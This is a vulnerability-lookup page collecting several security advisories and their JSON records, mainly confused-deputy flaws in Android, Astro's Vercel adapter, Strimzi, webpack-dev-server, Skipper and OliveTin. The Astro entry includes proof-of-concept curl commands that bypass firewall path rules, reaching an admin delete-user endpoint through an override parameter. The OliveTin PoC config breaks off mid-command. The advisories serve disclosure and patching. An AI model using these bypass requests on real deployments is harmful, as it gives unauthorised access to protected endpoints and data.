Vulnerability-Lookup

GHSA-JJRP-2758-J9W4

Vulnerability from github – Published: 2025-12-08 18:30 – Updated: 2025-12-08 21:30

Details

In multiple locations, there is a possible way to alter the primary user's face unlock settings due to a confused deputy. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-48598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-610"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T17:16:16Z",
    "severity": "MODERATE"
  },
  "details": "In multiple locations, there is a possible way to alter the primary user\u0027s face unlock settings due to a confused deputy. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-jjrp-2758-j9w4",
  "modified": "2025-12-08T21:30:21Z",
  "published": "2025-12-08T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48598"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Settings/+/83447688f8e3e8f009f1e7d275a14ea00ee7953a"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M7V8-2W49-4W9X

Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-09-05 18:31

Details

In loadDrawableForCookie of ResourcesImpl.java, there is a possible way to access task snapshots of other apps due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-26452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "In loadDrawableForCookie of ResourcesImpl.java, there is a possible way to access task snapshots of other apps due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-m7v8-2w49-4w9x",
  "modified": "2025-09-05T18:31:18Z",
  "published": "2025-09-05T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26452"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/37a272435a238d8ca312b3ffeacac7dc348905e7"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MR6Q-RP88-FX84

Vulnerability from github – Published: 2026-03-26 18:41 – Updated: 2026-03-26 18:41

Summary

Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`

Details

Summary

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.

Affected Versions

Verified against: - Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation. - Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

Package: @astrojs/vercel
File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28)
Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

const realPath =
    request.headers.get(ASTRO_PATH_HEADER) ??
    url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
    url.pathname = realPath;  // no validation, no auth
    request = new Request(url.toString(), {
        method: request.method,   // preserved
        headers: request.headers, // preserved
        body: request.body,       // preserved
    });
}

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

// x-astro-locals: protected
if (astroLocalsHeader) {
    if (middlewareSecretHeader !== middlewareSecret) {
        return new Response('Forbidden', { status: 403 });
    }
    locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)

Conditions

Astro + @astrojs/vercel adapter
output: 'server' (SSR)
No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.

GET — page content override:

curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

GET — API route override:

curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override:

curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (GET):

# Direct access — blocked
curl https://target.vercel.app/admin/secret
# Returns: Forbidden

# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"
# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (POST) — verified on Astro 5.x:

# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  https://target.vercel.app/admin/delete-user
# Returns: Forbidden

# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"
# Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Impact

Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/vercel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:41:34Z",
    "nvd_published_at": "2026-03-24T19:16:55Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel\u0027s platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn\u0027t limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** \u2014 GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** \u2014 GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: \u0027half\u0027` option is required when passing a ReadableStream body \u2014 this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix \u2014 the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19\u201328)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44\u201345)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n    request.headers.get(ASTRO_PATH_HEADER) ??\n    url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === \u0027string\u0027) {\n    url.pathname = realPath;  // no validation, no auth\n    request = new Request(url.toString(), {\n        method: request.method,   // preserved\n        headers: request.headers, // preserved\n        body: request.body,       // preserved\n    });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n    if (middlewareSecretHeader !== middlewareSecret) {\n        return new Response(\u0027Forbidden\u0027, { status: 403 });\n    }\n    locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: \u0027server\u0027` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET \u2014 page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET \u2014 API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access \u2014 blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) \u2014 verified on Astro 5.x:**\n```bash\n# Direct access \u2014 blocked\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel\u0027s cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass \u2014 read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass \u2014 write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means \u2014 standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
  "id": "GHSA-mr6q-rp88-fx84",
  "modified": "2026-03-26T18:41:34Z",
  "published": "2026-03-26T18:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/15959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`"
}

GHSA-MW23-V9J7-5FV7

Vulnerability from github – Published: 2026-06-02 00:31 – Updated: 2026-06-02 00:31

Details

In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-0098"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T22:16:23Z",
    "severity": "HIGH"
  },
  "details": "In getCallingPackageName of Shared.java, there is a possible way to bypass activity start restrictions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-mw23-v9j7-5fv7",
  "modified": "2026-06-02T00:31:57Z",
  "published": "2026-06-02T00:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0098"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW9R-P8XP-WX96

Vulnerability from github – Published: 2026-06-18 13:04 – Updated: 2026-06-18 13:04

Summary

Strimzi: Cross-namespace privilege escalation via `Kafka.spec.entityOperator`

Details

Impact

Having the Topic and User operators to watch different namespaces than the one where the Kafka cluster is deployed, is a fully documented feature.

When the watchedNamespace field is used within the Topic or User operator (as part of the Kafka.spec.entityOperator field), the Cluster Operator creates a Role granting full CRUD on Secrets into the specified namespace. It also creates a RoleBinding to bind such Role to the entity operator ServiceAccount within the namespace where the Kafka cluster runs.

An attacker can craft a Kafka custom resource (in an attacker's namespace) with the watchedNamespace field set to a target namespace and then they can mint a token for the ServiceAccount (in the attacker's namespace) to read/write Secrets in that target. This is valid with any target namespace for which the Cluster Operator has the rights (regardless the value of the STRIMZI_NAMESPACE environment variable). The at-risk target namespaces are the namespaces which the user has given permissions to the Cluster Operator for, by creating related RoleBinding(s).

Patches

The issue is fixed in Strimzi 1.0.1 and 1.1.0 by adding a control to enable the watched namespace feature through a dedicated environment variable within the Cluster Operator deployment. The watched namespaces feature is disabled by default.

Workarounds

A possible workaround for this issue is about using a policy agent like Kyverno or OPA to prevent the usage of the watchedNamespace at configuration level within the Kafka custom resource.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.strimzi:strimzi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:04:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nHaving the Topic and User operators to watch different namespaces than the one where the Kafka cluster is deployed, is a fully documented feature.\n\nWhen the `watchedNamespace` field is used within the Topic or User operator (as part of the `Kafka.spec.entityOperator` field), the Cluster Operator creates a Role granting full CRUD on Secrets into the specified namespace. It also creates a RoleBinding to bind such Role to the entity operator ServiceAccount within the namespace where the Kafka cluster runs.\n\nAn attacker can craft a Kafka custom resource (in an attacker\u0027s namespace) with the `watchedNamespace` field set to a target namespace and then they can mint a token for the ServiceAccount (in the attacker\u0027s namespace)  to read/write Secrets in that target. This is valid with any target namespace for which the Cluster Operator has the rights (regardless the value of the  `STRIMZI_NAMESPACE` environment variable). The at-risk target namespaces are the namespaces which the user has given permissions to the Cluster Operator for, by creating related RoleBinding(s).\n\n### Patches\n\nThe issue is fixed in Strimzi 1.0.1 and 1.1.0 by adding a control to enable the watched namespace feature through a dedicated environment variable within the Cluster Operator deployment. The watched namespaces feature is disabled by default.\n\n### Workarounds\n\nA possible workaround for this issue is about using a policy agent like Kyverno or OPA to prevent the usage of the `watchedNamespace` at configuration level within the `Kafka` custom resource.",
  "id": "GHSA-mw9r-p8xp-wx96",
  "modified": "2026-06-18T13:04:44Z",
  "published": "2026-06-18T13:04:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strimzi/strimzi-kafka-operator/security/advisories/GHSA-mw9r-p8xp-wx96"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strimzi/strimzi-kafka-operator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strimzi: Cross-namespace privilege escalation via `Kafka.spec.entityOperator`"
}

GHSA-MX8G-39Q3-5C79

Vulnerability from github – Published: 2026-06-17 18:13 – Updated: 2026-06-17 18:13

Summary

webpack-dev-server vulnerable to HMR WebSocket interception via permissive user proxies

Details

Impact

When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).

Patches

Fixed in webpack-dev-server 5.2.5.

Workarounds

Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "webpack-dev-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T18:13:31Z",
    "nvd_published_at": "2026-06-15T16:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nWhen a user-configured proxy on `webpack-dev-server` has a broad context (e.g. `/`) and `ws: true`, it also intercepts the dev server\u0027s own HMR WebSocket and forwards it to the proxy target. This leaks the browser\u0027s cookies and `Origin` header to the backend, bypasses the dev server\u0027s Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).\n\n### Patches\n\nFixed in `webpack-dev-server` 5.2.5.\n\n### Workarounds\n\nScope user-defined proxy `context` to specific paths instead of `/`, or omit `ws: true` from the proxy entry when WebSocket forwarding is not required.",
  "id": "GHSA-mx8g-39q3-5c79",
  "modified": "2026-06-17T18:13:32Z",
  "published": "2026-06-17T18:13:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9595"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/create-react-app/pull/7444"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webpack/webpack-dev-server/pull/4316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webpack/webpack-dev-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "webpack-dev-server vulnerable to HMR WebSocket interception via permissive user proxies"
}

GHSA-MXRR-M6CH-MC9V

Vulnerability from github – Published: 2025-09-04 21:31 – Updated: 2025-09-04 21:31

Details

In setRingtoneUri of VoicemailNotificationSettingsUtil.java , there is a possible cross user data leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-48529"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T19:15:38Z",
    "severity": "MODERATE"
  },
  "details": "In setRingtoneUri of VoicemailNotificationSettingsUtil.java , there is a possible cross user data leak due to a confused deputy. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-mxrr-m6ch-mc9v",
  "modified": "2025-09-04T21:31:38Z",
  "published": "2025-09-04T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48529"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/opt/telephony/+/e5cdca27526f5c2c358880538c7a15d8d5d5dd6d"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXXC-P822-2HX9

Vulnerability from github – Published: 2026-01-26 23:26 – Updated: 2026-01-29 03:24

Summary

Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName

Details

Impact

When running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper's network access to reach internal services.

Patches

https://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.

Workarounds

Developers can allow list targets of an ExternalName by using -kubernetes-only-allowed-external-names=true and allow list via regular expressions -kubernetes-allowed-external-name '^[a-z][a-z0-9-.]+[.].allowed.example$'

References

https://kubernetes.io/docs/concepts/services-networking/service/#externalname

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zalando/skipper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-24470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-26T23:26:56Z",
    "nvd_published_at": "2026-01-26T23:16:09Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nWhen running Skipper as an Ingress controller, users with permissions to create an Ingress and a Service of type ExternalName can create routes that enable them to use Skipper\u0027s network access to reach internal services.\n\n### Patches\n\nhttps://github.com/zalando/skipper/releases/tag/v0.24.0 disables Kubernetes ExternalName by default.\n\n### Workarounds\n\nDevelopers can allow list targets of an ExternalName by using `-kubernetes-only-allowed-external-names=true` and allow list via regular expressions `-kubernetes-allowed-external-name \u0027^[a-z][a-z0-9-.]+[.].allowed.example$\u0027` \n\n### References\n\nhttps://kubernetes.io/docs/concepts/services-networking/service/#externalname",
  "id": "GHSA-mxxc-p822-2hx9",
  "modified": "2026-01-29T03:24:42Z",
  "published": "2026-01-26T23:26:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24470"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/commit/a4c87ce029a58eb8e1c2c1f93049194a39cf6219"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zalando/skipper"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zalando/skipper/releases/tag/v0.24.0"
    },
    {
      "type": "WEB",
      "url": "https://kubernetes.io/docs/concepts/services-networking/service/#externalname"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Skipper Ingress Controller Allows Unauthorized Access to Internal Services via ExternalName"
}

GHSA-P443-P7W5-2F7F

Vulnerability from github – Published: 2026-03-05 20:53 – Updated: 2026-03-06 22:52

Summary

OliveTin's RestartAction always runs actions as guest

Details

Summary

An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.

RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.

This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.

Details

Affected files:

service/internal/api/api.go

service/internal/auth/authcheck.go

Relevant code in RestartAction:

return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
    Msg: &apiv1.StartActionRequest{
        BindingId:        execReqLogEntry.GetBindingId(),
        UniqueTrackingId: req.Msg.ExecutionTrackingId,
    },
})

Authentication in StartAction:

authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)

Issue:

RestartAction creates a new connect.Request object.
The new request does not preserve caller headers or cookies.
UserFromApiCall() attempts to resolve the user from the request.
Because authentication headers are missing, it falls back to the guest user.
If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.

PoC

Configuration:

defaultPermissions:
  exec: false

users:
  - username: low
    password: lowpass
    permissions:
      exec: false

  - username: guest
    permissions:
      exec: true

actions:
  - id: restart_bypass_action
    shell: |
      echo "pwned" > /tmp/olivetin_restart_bypass.txt

Steps to reproduce:

Login as low user

LOW_LOGIN=$(curl -sS -i -X POST \
